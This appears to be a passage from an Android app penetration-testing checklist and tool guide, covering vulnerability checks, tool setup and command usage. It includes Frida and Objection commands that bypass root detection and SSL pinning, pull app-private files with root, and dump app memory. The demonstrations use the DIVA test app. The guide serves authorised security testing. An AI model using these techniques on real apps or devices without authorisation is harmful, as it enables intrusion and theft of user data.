C10 | Intent Filters | Discovered | Undiscovered |
---|---|---|---|
Intent redirection is an embedded intent it can be implicit or explicit Intent which is used to move one android component to another component. This vulnerability occurs when the developer does not retrieve the intent data via filtering. This vulnerability is similar to OpenRedirect for web security. | |||
1 | Check for intent spoofing or intent sniffing vulnerabilities (those can occur when the developer does not retrieve the intent data via filtering) |
|
|
C11 | Broadcast Receivers | Discovered | Undiscovered |
---|---|---|---|
A vulnerable Android Broadcast Receiver is a component of an Android app that allows the app to receive and respond to system-wide broadcasts, such as the receipt of a text message or the disconnection of a charger. It can be exploited | |||
1 | Check the manifest file for the receiver tag and the exported attribute if it is True and if there is no other permission is set. It can be exploited. |
|
|
C12 | Content Provider | Discovered | Undiscovered |
---|---|---|---|
Content providers in Android are used to share data between applications. They use standard insert, update, delete, and query methods to access data and are assigned a special URI starting with "content://". If proper security controls are not implemented, it can lead to the leakage of information. An example of a content provider is the built-in SMS application, which can be accessed by other apps using a specific URI and the READ_SMS permission. There may be cases where content providers are not implemented for sharing data or where access is restricted to apps with proper permissions. | |||
1 | If security controls are not properly implemented, content providers can lead to SQL injection. |
|
|
2 | If security controls are not properly implemented, content providers can lead to Path Traversal. |
|
|
3 | If security controls are not properly implemented in content providers, it may lead to internal data access vulnerability |
|
|
C13 | Source Code Obfuscation | Discovered | Undiscovered |
---|---|---|---|
Source code obfuscation in Android is the process of making the source code of an Android app difficult to understand or reverse engineer, typically to protect intellectual property or prevent unauthorized modifications. | |||
1 | Check for Code Obfuscation(PRO Guard) implemented or not |
|
|
2 | If Code Obfuscation is implemented partially check for the main sensitive codes is properly obfuscated |
|
|
C14 | Sensitive Information/Auth-Keys Hardcoded | Discovered | Undiscovered |
---|---|---|---|
Hardcoded information vulnerability is the practice of storing sensitive data, such as passwords or security keys, directly in the source code of an application, potentially exposing the data to attackers or unauthorized users who have access to the source code. | |||
1 | Check the Source Code for any hardcoded API Key/Token, Auth-Key, Passwords, Credentials, etc.(This task can be automated by using tools like MobSF) |
|
|
C15 | Insecure Coding Practice | Discovered | Undiscovered |
---|---|---|---|
Insecure coding practice refers to the use of coding techniques or practices that do not adequately protect an application or system from security vulnerabilities or threats, such as using weak passwords or failing to properly validate user input. Insecure coding practices can make an application or system more susceptible to attacks or data breaches. To prevent insecure coding practices, developers should follow best practices for secure coding and regularly review and test their code for vulnerabilities. | |||
1 | Check for use of Insecure Random Number Generator functions (Like generating guessable OTP) |
|
|
2 | Check for use of Insecure functions or insure functions/objects calling |
|
|
3 | Uses of weak cryptography or easily reversible encryption method (like MD5 Hash, Base64 Encoding) |
|
|
4 | Check for any other Insecure Coding Weakness presence |
|
|
C16 | Insecure Deeplinks | Discovered | Undiscovered |
---|---|---|---|
Insecure deeplinks in Android can allow attackers to access sensitive data or functionality within an app. Developers can prevent this by validating and securing deeplinks and implementing appropriate security controls. | |||
1 | Check for any explicit deeplink that PendingIntent to a specific location within the application |
|
|
2 | Check for any implicit deeplink that refers to a specific destination in an app when the deeplink is invoked |
|
|
C17 | Missing Integrity Checks | Discovered | Undiscovered |
---|---|---|---|
Integrity checks in Android refer to the process of verifying the authenticity or integrity of an app's source code, to ensure that it has not been tampered with or modified by an unauthorized party. This can help protect against attacks that aim to inject malicious code or modify the app's functionality, such as man-in-the-middle attacks or repackaging attacks. | |||
1 | Decompile the application, modify its code, recompile it, and sign it to check if it still functions properly or not. |
|
|
C18 | Insecure Android Permissions | Discovered | Undiscovered |
---|---|---|---|
Android applications have a number of permissions that can be set in the "AndroidManifest.xml" file. If these permissions are not properly filtered or validated, they can be exploited. | |||
1 | Check for clear text traffic option enable or not in "AndroidManifest.xml" file |
|
|
2 | Check for debug mode option enable or not in "AndroidManifest.xml" file |
|
|
3 | Check for dataExtractionRules properly defined or not in "AndroidManifest.xml" file |
|
|
4 | Check for backup mode option enable or not in "AndroidManifest.xml" file |
|
|
5 | Check for any other Unnecessary Permission in "AndroidManifest.xml" file |
|
|
C19 | Background Screen Caching | Discovered | Undiscovered |
---|---|---|---|
Screen caching is a mobile vulnerability, caused due to a performance/usability feature present in mobile OS’s. | |||
1 | Check for screenshots are taken when the application is sent to background |
|
|
C20 | Insecure Firebase Database | Discovered | Undiscovered |
---|---|---|---|
Firebase Database is a cloud-based real-time database service that allows developers to store and sync data across multiple devices and platforms. | |||
1 | Append ".json" payload at the end of Firebase instance to see if "read" permission are enable or not |
|
|
2 | Also try replacing "firebaseio.com" with "appspot.com" with "/.json" appended at the end may allow you to access appspot instance. (Check for CORS in Firebase) |
|
|
C21 | Android Lock/Biometric Authentication Bypass | Discovered | Undiscovered |
---|---|---|---|
Some applications use the Android Screen Lock/Biometric Authentication to validate the user before providing any specific service or before launching the application's main interface. | |||
1 | If the application uses Android Lock/Biometric Authentication check for that can be bypassed or not in runtime by runtime hooking or code level modification |
|
|
C22 | Key-Checks in Dynamic Analysis | Discovered | Undiscovered |
---|---|---|---|
Some applications use the Android Screen Lock/Biometric Authentication to validate the user before providing any specific service or before launching the application's main interface. | |||
1 | Checks for all possible the possible test cases that’s are applicable on API Check (Use a comprehensive API checklist) |
|
|
2 | Check for Broken Access Controls and Authentications (Checks mainly in server side) |
|
|
3 | Checks for Server-Side Injections and Security misconfigurations |
|
|
4 | Check for Sensitive Data exposer |
|
|
5 | Fuzzing |
|
|
C- | Some Other Checks | Discovered | Undiscovered |
---|---|---|---|
N/A | |||
1 | Check for the application doesn't reuse the same cryptographic key for multiple purposes |
|
|
2 | Check for any sensitive data or information exposed through the user interface or leaks to screenshots or not |
|
|
3 | Check for whether the keyboard cache for the application is disable or not |
|
|
4 | Check the application does not allow users to copy/paste any secret data (like passwords, credit card info, etc) |
|
|
5 | Check if the sensitive data is not masked when performing app switching |
|
|
6 | Check for the Third-Party Keyboard applications that are disabled specifically in the sensitive fields |
|
|
NB: This list does not follow the OWASP vulnerability indexing order.
Important Tools
- Mobile Security Framework (MobSF) (Link)
- Runtime Mobile Security (RMS) (Link)
- Pen-Andro (Link)
- Burp Suite (Link)
- Postman (Link)
for API's
- Yaazhini (Link)
- House (Link)
- Apktool (Link)
- Easyapktool (Link)
Discontinued
- APKToolGUI(New) (Link)
Easyapktool Alternative
- Genymotion (Link)
- Frida (Link)
- Magisk (Link)
- Magisk-Frida (Link)
- Frida-tools (Link)
- Drozer (Link)
- Objection (Link)
- JD-GUI (Link)
- JADX (Link)
- Dex2Jar (Link)
- ApkLeaks (Link)
- Fridump (Link)
- Sqlite Browser (Link)
- Radare2 (Link)
- Nuclei (Link)
- XMLStarlet (Link)
- ADB (Link)
- zipalign (Link)
Tools Installation/Setup
[!WARNING] As you explore this repository further, please be aware that certain actions, such as bootloader unlocking, Magisk installation, and rooting techniques, come with inherent risks. Your device's warranty may be voided, and there's a potential for data loss, instability, or even "bricking" your device.
Rooting exposes your device to security risks, and it may no longer receive official updates, leaving it vulnerable. This information is shared for educational purposes only, and I take no responsibility for any damage, data loss, or malfunctions that may occur.
By proceeding, you acknowledge and accept all risks involved, and it is advisable to fully understand the consequences before implementing any changes.
Prerequisites
Hardware requirements
- Windows/Linux (preferred Kali-Linux).
- USB Cable
- An android device with Bootloader unlocked
- How to unlock Bootloader ? (Link)
- A pen-drive and OTG cable or SD card
Software/Tools prerequisites
Before you start testing Android apps, make sure to install the necessary tools on both your computer (Linux/Windows) and the Android device itself.
1. Java (Jdk) (Link)
- Download Java JDK version 17 or up according to your system(Download Link)
- Install JDK to your system
2. Python/Python3 (Link)
Python3 installation for Debian or Ubuntu based linux distributions:
sudo apt-get update
sudo apt-get -y install python3 python3-pip
Python installation for Windows:
- Download Windows installer of Python from official website (Link)
- Double click the installer
- Check 'Add python.exe to PATH' checkbox
- Click on 'Customize installation'
- Check 'pip' checkbox
- Check 'Python test suite' checkbox
- Check 'py launcher' checkbox
- Check 'for all users (requires admin privileges)' checkbox
- Click next to install python
3. Genymotion (Link)
- Create a free account on Genymotion website
- Follow this official instruction to install Genymotion on Linux. Instruction
- Follow this official instruction to install Genymotion on Windows. Instruction
4. Docker (Link)
Docker installation for Debian or Ubuntu based linux distributions:
sudo apt-get update
sudo apt-get -y install docker.io
systemctl start docker
NB: If you are using other than Debian or Ubuntu based Linux, read this instruction to install docker according to your operating system.
Docker installation for Windows:
- Download Docker Desktop (Link)
- Double click to install
5. Android Debug Bridge (adb) (Link)
adb installation for Debian or Ubuntu based linux distributions:
sudo apt install adb
wget -c https://dl.google.com/android/repository/platform-tools-latest-linux.zip
unzip platform-tools-latest-linux.zip
cd platform-tools
give executable permission
chmod +x ./adb
chmod +x ./fastboot
Check adb working or not
./adb version
adb installation for Windows:
- Download adb-setup.zip
- Extract the downloaded zip
- Double click on adb-setup-1.4.3.exe
- In CMD window select Y for all options
- Install the Google USB driver. (The installer will automatically run once the fastboot setup is complete)
6. Magisk (Link)
Pre-requirement:
- An android device with Bootloader unlocked
- USB Cable
- A pen-drive and OTG cable or SD card
Magisk installation for unlocked bootloader devices:
-
Install custom recovery
We need to install a custom recovery before installing magisk-
Download a custom recovery for your Android device, such as TWRP / OrangeFox / PitchBlack onto your desktop.
-
Rename the downloaded recovery (.img) filename to "recovery.img" (without quote)
-
Enable usb debugging on your android device
-
Run this command to check your device is connected or not with proper access
adb devices
Allow usb debugging authorization prompt on android
The output will look like this
N.B: If you encounter an 'unauthorized' message after seeing your device number, follow the steps below. Ensure you perform these commands. Allow usb debugging authorization on your Android device when prompted also check Always allow from this computer checkbox. Select 'File Transfer' in USB mode.adb kill-server
adb start-server
adb devices
-
Run the command to initiate a reboot into fastboot mode
adb reboot bootloader
-
Run command to check your device is properly connected in fastboot mode or not
adb reboot bootloader
-
Flash the recovery image
fastboot flash recovery recovery.img
-
Boot to Recovery from Fastboot via Commands
fastboot boot recovery.img
-
-
Install Magisk
- Download Magisk version 24 or up apk in your desktop (Link)
- Copy apk file into your pen-drive or SD card
- Connect your pen-drive or insert SD card
- Reboot your recovery once
- Flash your Magisk.apk
- Reboot your device
- Open Magisk Manager from app menu
- Follow on screen instruction to compleat the magisk setup
Mobile Security Framework (MobSF)
[!IMPORTANT] MobSF's Docker installation does not currently support dynamic analysis. If you only require static analysis, the Docker installation is straightforward. However, for dynamic analysis, it is recommended to install MobSF on a physical device.
In case of Windows installation MobSF requires some additional external dependencies. Please make your installation choice accordingly.
MobSF Installation on Docker
Pre-requirement:
- Docker (Link)
let's assume your docker engine up and running let's continue with MobSF installation
Install MobSF:
docker pull opensecurity/mobile-security-framework-mobsf
Run MobSF:
docker run -it --rm --name mobsf -p 8000:8000 opensecurity/mobile-security-framework-mobsf
MobSF Installation on Physical Machine
Pre-requirement:
- Python/Python3(Link)
let's assume you have installed Python/Python3 let's continue with MobSF installation on your desktop
Install MobSF (linux):
- Download latest release of MobSF from Mobile-Security-Framework-MobSF Github repository (Link)
- Extract the zip file and rename the extracted folder to MobSF and place the folder to your suitable location
- Open terminal inside the MobSF folder
# Give executable permission to setup.sh and run.sh file
chmod +x ./setup.sh && chmod +x ./run.sh
# run setup.sh
sudo ./setup.sh
Run MobSF (linux):
# run MobSF
./run.sh
Install MobSF (Windows):
- Download and install .NET Framework 4.6 (or Latest)(Link)
- Download Visual Studio Community Edition (Link)
- Double click and run the Visual Studio installer
- Select Visual C++ Build Tools
- On right panel uncheck optionals (as it takes more space and its not required in this case)
- Click on install at bottom right
- Download and install non-light version of OpenSSL (Link)
- Download and install wkhtmltopdf (Link)
- Download latest release of MobSF from Mobile-Security-Framework-MobSF Github repository (Link)
- Extract the zip file and rename the extracted folder to MobSF and place the folder to your suitable location
- Run powershell with Administrator privilege
- Navigate powershell to MobSF directory
# run setup.bat
setup.bat
Run MobSF (Windows):
# run MobSF
run.bat
Congratulation your MobSF is installed and running navigate to localhost:8000 using your preferred web browser.
Drozer (on desktop)
Pre-requirement:
- Docker (Link)
let's assume your docker engine up and running let's continue with Drozer installation on your desktop
Install Drozer:
docker pull fsecurelabs/drozer
Run Drozer:
docker run -it --rm --name drozer fsecurelabs/drozer
Congratulation your Drozer is installed on your desktop now we need to install Drozer Agent Apk agent-debug.apk
APKLeaks
Pre-requirement:
- Docker (Link)
let's assume your docker engine up and running let's continue with APKLeaks installation
Install APKLeaks:
docker pull dwisiswant0/apkleaks:latest
Run APKLeaks:
docker run -it --rm -v /tmp:/tmp dwisiswant0/apkleaks:latest -f /tmp/file.apk
Apktool
Pre-requirement:
- Java (Link)
let's assume you have installed Java JDK let's continue with Apktool installation on your desktop
Install Apktool (linux):
# Clone apktool script
wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool -O apktool
# Give executable permission to apktool script
chmod +x apktool && cp apktool /usr/local/bin/apktool
- Check latest release of apktool from their Bitbucket repository (Link)
# Clone latest version of apktool
wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.9.1.jar -O apktool.jar
# Give executable permission to apktool and move to bin file
chmod +x apktool.jar && cp apktool.jar /usr/local/bin/apktool.jar
Install Apktool (Windows):
- Open the link on your browser right click and save the file as 'apktool.bat' (Link)
- Download latest version of apktool (Link)
- Move both
apktool.jar
andapktool.bat
to your Windows directory. (Usually C://Windows)
Run Apktool:
apktool
APKToolGUI
Pre-requirement:
- Java (Link)
let's assume you have installed Java JDK let's continue with APKToolGUI installation on your desktop
Install APKToolGUI (Windows):
- Download latest release of APKToolGUI from APKToolGUI Github repository (Link)
- Extract the zip file and rename the extracted folder to APKToolGUI
Run APKToolGUI (Windows):
- Double click
APKToolGUI.exe
inside extracted APKToolGUI folder
N.B: Please note that APKToolGUI is currently only available for Windows OS.
JADX
Pre-requirement:
- Java (Link)
let's assume you have installed Java JDK let's continue with JADX installation on your desktop
Install JADX (linux):
- Download latest release of JADX from JADX Github repository (Link)
- Extract the zip file and rename the extracted folder to JADX
cd ./JADX/bin
# Give executable permission to jadx and jadx-gui script
chmod +x jadx && chmod +x jadx-gui
Run JADX (linux):
# run jadx cli
./jadx
# run jadx gui
./jadx-gui
Install JADX (Windows):
- Download latest release of JADX from JADX Github repository (Link)
- Extract the zip file and rename the extracted folder to JADX
Run JADX (Windows):
- Navigate to bin folder inside the JADX folder
- Double click
jdax.bat
to run jadx cli - Double click
jdax-gui.bat
to run jadx gui
JD-GUI
Pre-requirement:
- Java (Link)
let's assume you have installed Java JDK let's continue with JD-GUI installation on your desktop
Install JD-GUI (linux):
- Download latest release of jd-gui-x.x.x.deb from java-decompiler/jd-gui Github repository (Link)
# Give executable permission to jd-gui-x.x.x.deb file
chmod +x ./jd-gui-x.x.x.deb
# Install jd-gui
sudo apt install ./jd-gui-x.x.x.deb
Run JD-GUI (linux):
# Run jd-gui
jd-gui
Install JD-GUI (Windows):
- Download latest release of jd-gui-windows-x.x.x.deb from java-decompiler/jd-gui Github repository (Link)
- Extract the zip file and rename the extracted folder to jd-gui
Run JD-GUI (Windows):
- Double click
jd-gui.exe
to run jd-gui
Dex2Jar
Pre-requirement:
- Java (Link)
let's assume you have installed Java JDK let's continue with Dex2Jar installation on your desktop
Install Dex2Jar (linux):
sudo apt install -y dex2jar
Install Dex2Jar (Windows):
- Download latest release of Dex2Jar from pxb1988/dex2jar Github repository (Link)
- Extract the zip file and rename the extracted folder to dex2jar
Objection
Pre-requirement:
- Python/Python3 (Link)
let's assume Python/Python3 is installed let's continue with objection installation on your desktop
Install Objection (Linux):
pip3 install objection
Install Objection (Windows):
pip install objection
Burp Suite
Pre-requirement:
- Java (Link)
let's assume you have installed Java JDK let's continue with Burp Suite installation on your desktop
- Go to the Burp Suite official website, pick either Burp Suite Professional or Burp Suite Community, and download the JAR file(Link)
Run Burp Suite:
java "--add-opens=java.desktop/javax.swing=ALL-UNNAMED" "--add-opens=java.base/java.lang=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED" "-noverify" "-jar" .\burpsuite.jar
Postman
- Go to the Postman official website, and download the
tar.gz
file for linux & theexe
for the windows (Link)
Install Postman (Linux):
# Install dependencies
sudo apt-get -y install libgconf-2-4 openssl
# Extract the archive
tar zxf /path/to/downloaded/archive/Postman-linux-xXX-X.XX.X.tar.gz
# Move postman to apps
sudo mv Postman /opt/apps/
# Create shortcut
sudo ln -s /opt/apps/Postman/Postman /usr/local/bin/postman
Run Postman (Linux):
postman
Install & Run Postman (Windows):
- Double click downloaded installer
Radare2
Install Radare2 (Linux):
sudo apt-get -y install radare2
Install Radare2 (Windows):
- Download
radare2-x.x.x-wxx.zip
from official release (Link) - Extract the zip in your preferred location
Run Radare2 (Linux):
radare2 -h
Run Radare2 (Windows):
.\radare2\bin\r2.bat
Nuclei
Pre-requirement:
- Docker (Link)
let's assume your docker engine up and running let's continue with Nuclei installation
Install Nuclei:
docker pull projectdiscovery/nuclei:latest
Run Nuclei:
nuclei -h
Zipalign
Install Zipalign (Linux):
sudo apt-get -y install zipalign
Run Zipalign (Linux):
zipalign
Install Zipalign (Windows):
- Download Android SDK Build-Tools latest release for window (Link)
- Extract the zip in your preferred location
Run Zipalign (Windows):
- Navigate to extracted zip file location
zipalign.exe
DB Browser for SQLite
Install DB Browser on Debian based linux distros:
sudo apt-get install sqlitebrowser
Install DB Browser on Ubuntu and Ubuntu based linux distros:
# Add PPA to repo list
sudo add-apt-repository -y ppa:linuxgndu/sqlitebrowser
# Update the repo list
sudo apt-get update
# Install sqlitebrowser
sudo apt-get install sqlitebrowser
Install DB Browser on Windows:
- Download windows installer (Link)
- Double click the Executable installer and install DB Browser
Run DB Browser (Linux):
sqlitebrowser
Frida Tools
Pre-requirement:
- Python/Python3 (Link)
let's assume Python/Python3 is installed let's continue with Frida Tools installation on your desktop
Install Frida Tools (Linux):
pip3 install frida
pip3 install frida-tools
Install Frida Tools (Windows):
pip install frida
pip install frida-tools
Frida Server (Magisk-Frida)
Pre-requirement:
- Magisk (Link)
let's assume Magisk is installed on your Android device let's continue with Frida Server installation
-
Download MagiskFrida Latest version zip (Link)
-
Place the zip on your Android
-
Open your Magisk Manager App, go to module section, Click on 'Install from storage'
-
Select the downloaded zip
-
Reboot the device
Always Trust User Certs & Burp-cert Magisk Modules
Pre-requirement:
- Magisk (Link)
let's assume Magisk is installed on your Android device let's continue with Always Trust User Certs & Burp-cert Magisk Modules installation
-
Download Always Trust User Certs Magisk Module zip (Link)
-
Download Burp-cert Magisk Module zip (Link)
-
Place the zip on your Android
-
Open your Magisk Manager App, go to module section, Click on 'Install from storage'
-
Select the downloaded zip one by one
-
Reboot the device
Fridump
Pre-requirement:
let's assume Python/Python3, Frida is installed on your desktop and Frida Server is installed on your android device let's continue with Fridump installation
Install Fridump (Linux):
git clone https://github.com/Nightbringer21/fridump.git
Run Fridump (Linux):
- Open terminal and navigate to fridump folder
python3 fridump.py -h
Install Fridump (Windows):
- Download the Fridump zip (Link)
- Rename the filename
fridump-master.zip
tofridump.zip
- Extract the
fridump.zip
Run Fridump (Windows):
- Open powershell and navigate to fridump folder
python fridump.py -h
Useful Commands & Tools Usage
ADB Commands
Start the adb server:
adb start-server
Stop the adb server:
adb kill-server
List attached adb devices:
adb devices
Reboot the device using adb:
adb reboot
Backup device using adb:
# Basic backup of the device
adb backup -f <some_file_name>.ab
# Take backup of a specific app
adb backup -nosystem -noapk -noshared -f <some_file_name>.ab <package_name_of_the_apk>
# For a full device backup, including certain apps, system data, and files
adb backup -apk -obb -shared -all -system -f <some_file_name>.ab
# e.g.:
# adb backup -f testbackup.ab
# adb backup -nosystem -noapk -noshared -f diva_backup.ab jakhar.aseem.diva
# adb backup -apk -obb -shared -all -system -f testbackup_full.ab
# Other Options
# -f <filename> specify filename default: creates backup.ab in the current directory
# -apk|noapk enable/disable backup of .apks themself default: -noapk
# -obb|noobb enable/disable backup of additional files default: -noobb
# -shared|noshared backup device's shared storage / SD card contents default: -noshared
# -all backup all installed applications
# -system|nosystem include system applications default: -system
# <packages> a list of packages to be backed up (e.g. jakhar.aseem.diva) (not needed if -all is specified)
Restore device backup using adb:
adb restore <some_file_name>.ab
# e.g.:
# adb restore testbackup_full.ab
[!NOTE] Keep in mind that, restoring sensitive information or user logged-in sessions after restoring a backup taken via ADB could be considered a potential vulnerability.
Use adb over tcp:
# Use this command when you already connected to a device using USB
adb tcpip <desired_port_number>
# Disconnect the USB and run
adb connect <android_device_ip>:<desired_port_number>
# e.g.:
# adb tcpip 5555
# adb connect 192.168.50.23:5555
Entering android shell as user:
adb shell
Entering android shell as root:
adb shell su
List android packages:
# List all installed packages
adb shell pm list packages
# List only user installed packages:
adb shell pm list packages -3 | cut -f 2 -d ":"
# Other options:
# -f: see their associated file
# -d: filter to only show disabled packages
# -e: filter to only show enabled packages
# -s: filter to only show system packages
# -3: filter to only show third party packages
# -i: see the installer for the packages
# -U: also show the package UID
Find an android package:
# Lists packages containing the specified keyword
adb shell pm list packages 'keyword' | cut -d ':' -f2
# e.g.:
# adb shell pm list packages 'diva' | cut -d ':' -f2
Get Process ID (pid) of Apps:
# List all running apps pid:
adb shell ps
# List a particular app pid:
adb shell ps | <package_name_of_the_apk>
# e.g.:
# adb shell ps | jakhar.aseem.diva
Install an apk using adb:
adb install <name_of_apk_file>
# Install the apk to removable storage (-s)
adb install -s <name_of_apk_file>
# e.g.:
# adb install diva.apk
# adb install -s diva.apk
Launch an apk using adb:
# Method 1: Launch using Monkey tool
adb shell monkey -p <package_name_of_the_apk> -c 1
# Method 2: Launch using dumpsys tool
adb shell dumpsys package <package_name_of_the_apk>
# e.g.:
# adb shell monkey -p jakhar.aseem.diva -c 1
# adb shell dumpsys package jakhar.aseem.diva
N.B:
Monkey tool method means pretending to be a user and starting the app by clicking on its icon.
Monkey tool method will only worked when Main activity is exported in the AndroidManifest.xml.
Launch an apk activity directly using adb:
adb shell am start -n <package_name_of_the_apk>/.<activity_name>
# e.g.:
# adb shell am start -n jakhar.aseem.diva/.MainActivity
Uninstall an apk using adb:
adb uninstall <package_name_of_the_apk>
# Keep data and cache directories of the apk (-k)
adb uninstall -k <package_name_of_the_apk>
# e.g.:
# adb uninstall jakhar.aseem.diva
# adb uninstall -k jakhar.aseem.diva
Copy/Push a File/Directory to an Android device using ADB:
# Copy a file to android device
adb push <file_path_and_name> <location_on_device>
# Copy a directory to android device
adb push <directory_path_and_name> <location_on_device>
# e.g.:
# adb push Demo.txt /storage/emulated/0/
# adb push DemoFolder /storage/emulated/0/
Get/Pull a File/Directory from an Android device using ADB:
# Get a file from android device
adb pull <file_path_and_name> <location_on_computer>
# Get a directory to android device
adb pull <directory_path_and_name> <location_on_computer>
# e.g.:
# adb pull /storage/emulated/0/Demo.txt ./
# adb pull /storage/emulated/0/DemoFolder ./
Bypassing permission denied issue while Get/Pull a File from an Android device using ADB:
# Solution 1:
adb shell su -c 'cat <file_path_and_name>' > <location_on_computer>
# Solution 2: Useful when to check, SharedPreferences is accessible as non-root (low-privileged) user or not
adb exec-out run-as <package_name_of_the_apk> cat /data/user/0/<package_name_of_the_apk>/shared_prefs/<file_name> > <location_on_computer>
# Solution 3: Useful when you need to access a apps internal files or a file that owned by the particular app (root required)
adb shell su -c 'run-as <package_name_of_the_apk> cat <file_path_and_name>' > <location_on_computer>
# e.g.:
# adb shell su -c 'cat /data/user/0/jakhar.aseem.diva/files/Test.txt' > Test.txt
# adb exec-out run-as jakhar.aseem.diva cat /data/user/0/jakhar.aseem.diva/shared_prefs/settings.xml > settings.xml
# adb shell su -c 'run-as jakhar.aseem.diva cat /data/user/0/jakhar.aseem.diva/files/Test.txt' > Test.txt
[!TIP]
run-as
is a command that facilitates the execution of other commands with the permissions of a specific app on an Android device. This is essential for accessing app-specific data and resources that are normally restricted.Syntax:
adb shell run-as <package-name> <command> <args>
Example:adb shell run-as com.example.myapp cat /data/data/com.example.myapp/databases/mydatabase.db
Bypassing permission denied issue while Get/Pull a Directory from an Android device using ADB:
# Get a Directory from android device
dir="<directory_path_and_name>"; IFS=$'\n'; for subdir in $(adb shell su -c "find \"${dir}\" -type d"); do mkdir -p ".${subdir}"; done; for file in $(adb shell su -c "find \"${dir}\" -type f"); do adb shell su -c "cat \"${file// /\\\ }\"" > ".${file}"; done;
# e.g.:
# dir="somedir"; IFS=$'\n'; for subdir in $(adb shell su -c "find \"${dir}\" -type d"); do mkdir -p ".${subdir}"; done; for file in $(adb shell su -c "find \"${dir}\" -type f"); do adb shell su -c "cat \"${file// /\\\ }\"" > ".${file}"; done;
Breakdown of the command: (Click to expand)
Set Directory:
dir="<directory_path_and_name>"
assigns user provided value to the variabledir
.Set Separator:
IFS=$'\n'
sets the Internal Field Separator (IFS) to a newline for proper handling of filenames.Create Directories: For
subdir
in$(adb shell su -c "find \"${dir}\" -type d")
Iterates over subdirectories found by find on the Android device, creating corresponding directories (with dot prefix) in the current directory.Copy Files: For
file
in$(adb shell su -c "find \"${dir}\" -type f")
Iterates over files found by find, reads their contents using cat, and writes them to files with dot prefixes in the current directory.
[!NOTE] Keep in mind that, when using ADB, empty directories will not be copied from or to an Android device.
Frida Commands
List android packages using Frida:
# List all packages with PID, Names & Identifiers
frida-ps -Uai
# List PID, Name, Identifiers that match the input string
frida-ps -Uai | grep -i '<part_of_the_package_name>'
# e.g.:
# frida-ps -Uai | grep -i 'diva'
[!TIP] -D : Use this flag Connect Frida to the specific device (the device identifier you gate by running
adb devices
command)Syntax:
frida-ps -D <device_identifier>
Example:frida-ps -Uai -D 27d1d6d3a03 | grep -i 'diva'
Discover an app internal methods/calls using frida:
# Discover internal methods/calls of an app and save the output in a file
frida-discover -U -f <package_name_of_the_apk> | tee <file_path_and_name>
# e.g.:
# frida-discover -U -f jakhar.aseem.diva | tee frida_discover.txt
N.B: Here tee command part is optional, I recommended this for display and also save the output in a file which may required letter.
Trace an app internal methods/calls using frida:
# Trace all internal methods/calls of an app
frida-trace -p <pid_of_an_app>
# Trace specific(s) internal methods/calls of an app
frida-trace -p <pid_of_an_app> -i '<function_name>*'
# e.g.:
# frida-trace -p 852
# frida-trace -p 852 -i 'log*'
[!TIP] You can use -i flag multiple times as per your needs.
For example:frida-trace -p 852 -i 'log*' -i 'recv*' -i 'send*'
For more frida-trace commands please read the official documentation.
Run Frida Scripts:
-
Bypass root detection using Frida and dzonerzy/fridantiroot script
frida --no-pause --codeshare dzonerzy/fridantiroot -f <package_name_of_the_apk> # e.g.: # frida --no-pause --codeshare dzonerzy/fridantiroot -f jakhar.aseem.diva
-
Bypass SSL Pinning[?] using Frida and pcipolloni/universal-android-ssl-pinning-bypass-with-frida script
frida --no-pause --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida --no-pause -f <package_name_of_the_apk> # e.g.: # frida --no-pause --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida --no-pause -f jakhar.aseem.diva
-
Bypass Emulator detection using Frida and m0bilesecurity/emulator_detection_bypass.js script
-
Download the
emulator_detection_bypass.js
script (Link)frida --no-pause -l emulator_detection_bypass.js -f <package_name_of_the_apk> # e.g.: # frida --no-pause -l emulator_detection_bypass.js -f jakhar.aseem.diva
-
-
Combine two or more script in Frida
frida --no-pause --codeshare dzonerzy/fridantiroot --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida --no-pause -l emulator_detection_bypass.js -f <package_name_of_the_apk> # e.g.: # frida --no-pause --codeshare dzonerzy/fridantiroot --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida --no-pause -l emulator_detection_bypass.js -f jakhar.aseem.diva
N.B: Frida automatically paused the target app when attaching. Using
--no-pause
to prevent this, allowing the app to start normally while Frida injected the scripts.For more Frida commands please read the official documentation.
For more Frida please visit Codeshare.
Objection Commands
Connect an app to Objection:
objection --gadget <package_name_of_the_apk> explore
# e.g.:
# objection --gadget jakhar.aseem.diva explore
Connect an app to Objection and load Frida script:
import <some_frida_script_file>
objection --gadget <package_name_of_the_apk> explore --startup-script <some_frida_script_file>
# e.g.:
# import emulator_detection_bypass.js
# objection --gadget jakhar.aseem.diva explore --startup-script emulator_detection_bypass.js
Re-attach to an app, if in case Objection detaches from the app:
# Get the pid by using `frida-ps -Uai` command
objection --gadget <pid_of_app> explore
# e.g.:
# objection --gadget 7814 explore
Extract useful information from an app using Objection:
# Some interesting information like passwords, paths could be find inside the environment.
env
Bypass SSL Pinning[?] using Objection:
# Method 1: Run after connect an app to Objection
android sslpinning disable --quiet
# Method 2: Connect an app to Objection with SSL pinning disabled
objection --gadget <package_name_of_the_apk> explore --startup-command 'android sslpinning disable --quiet'
#e.g.:
# objection --gadget jakhar.aseem.diva explore --startup-command 'android sslpinning disable --quiet'
Bypass Root detection using Objection:
# Method 1: Run after connect an app to Objection
android root disable --quiet
# Method 2: Connect an app to Objection with Root detection disabled
objection --gadget <package_name_of_the_apk> explore --startup-command 'android root disable --quiet'
#e.g.:
# objection --gadget jakhar.aseem.diva explore --startup-command 'android root disable --quiet'
List KeyStore[?] using Objection:
android keystore list
List Memory modules using Objection:
List activities, receivers and services using Objection:
# List activities
android hooking list activities <package_name_of_the_apk>
# List services
android hooking list services <package_name_of_the_apk>
# List receivers
android hooking list receivers <package_name_of_the_apk>
# e.g.:
# android hooking list activities jakhar.aseem.diva
# android hooking list services jakhar.aseem.diva
# android hooking list receivers jakhar.aseem.diva
Get current activity name using Objection:
android hooking get current_activity
# List all memory modules
memory list modules
# Grab particular module
memory list modules | grep '<app_name_or_part_of_app_name>'
# e.g.:
# memory list modules | grep 'diva'
Take Memory Dump[?] using Objection:
# Dump all memory
memory dump all '<local_file_name_and_path>'
# Dump a part of memory
memory dump from_base <base_address> <size_to_dump> '<local_file_name_and_path>'
# e.g.:
# memory dump all 'all_memory.dmp'
